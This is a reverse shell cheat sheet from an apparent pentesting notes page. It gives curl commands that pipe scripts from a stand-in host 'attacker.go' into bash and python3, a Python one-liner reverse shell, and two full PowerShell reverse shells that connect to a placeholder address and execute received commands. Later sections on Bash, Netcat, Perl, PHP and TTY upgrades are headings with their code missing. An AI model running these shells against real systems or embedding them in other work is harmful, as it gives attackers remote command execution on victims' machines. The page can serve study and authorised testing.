Reverse Shell Cheat Sheet

Reverse Shell Cheat Sheet

You may find it hard to get a shell on a system because of bad characters. If that is the case, you can possibly either download the shell as a script to the system or curl it into the shell or an interpreter.

curl http://attacker.go/shell.txt | bash
curl http://attacker.go/shell.py | python3
...

Python

This reverse shell uses dup2 to duplicate the file descriptors 0,1, and 2 and automatically sends them through the socket using s.fileno() which gets the file descriptor which is associated with the socket connection.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<IP>,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Powershell

$client = New-Object System.Net.Sockets.TCPClient("XX.XX.XX.XX",XXXX);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
$socket = new-object System.Net.Sockets.TcpClient('XXX.XXX.XXX.XXX', XXX);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
    $writer.Flush();
    $read = $null;
    $res = ""
    while($stream.DataAvailable -or $read -eq $null) {
        $read = $stream.Read($buffer, 0, 1024)
    }
    $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
    if(!$out.equals("exit")){
        $args = "";
        if($out.IndexOf(' ') -gt -1){
            $args = $out.substring($out.IndexOf(' ')+1);
            $out = $out.substring(0,$out.IndexOf(' '));
            if($args.split(' ').length -gt 1){
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                } else {
                    $res = $stdout
                }
            }
            else{
                $res = (&"$out" "$args") | out-string;
            }
        }
        else{
            $res = (&"$out") | out-string;
        }
        if($res -ne $null){
        $writer.WriteLine($res)
    }
    }
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()

Bash

Netcat

Perl

PHP

Getting a TTY Shell

From: https://netsec.ws/?p=337

In Bash

In IRB

In Vi or Vim

In nmap

Improving your Shell

On Linux

After a reverse shell connects back:

  • Press ctrl+z to background the shell

  • Type the following:

    • This method only works if the shell is bash

  • bash - What does "stty raw -echo" do on OS X - Stack Overflow

  • Or

    • stty -g gets all of the stty settings

    • icanon allows input-line editing

    • -echo does not echo characters not sure why this is needed

    • -isig disables the checking of special characters

    On Windows

    Use rlwrap in front of your listener.

Shell size

If your shell size is off you can do the following

  • Press ctrl+z to background the shell or open another shell on your system

  • Type:

  • On the target shell

PreviousShellsNextBind Shell Cheat Sheet

Last updated

Was this helpful?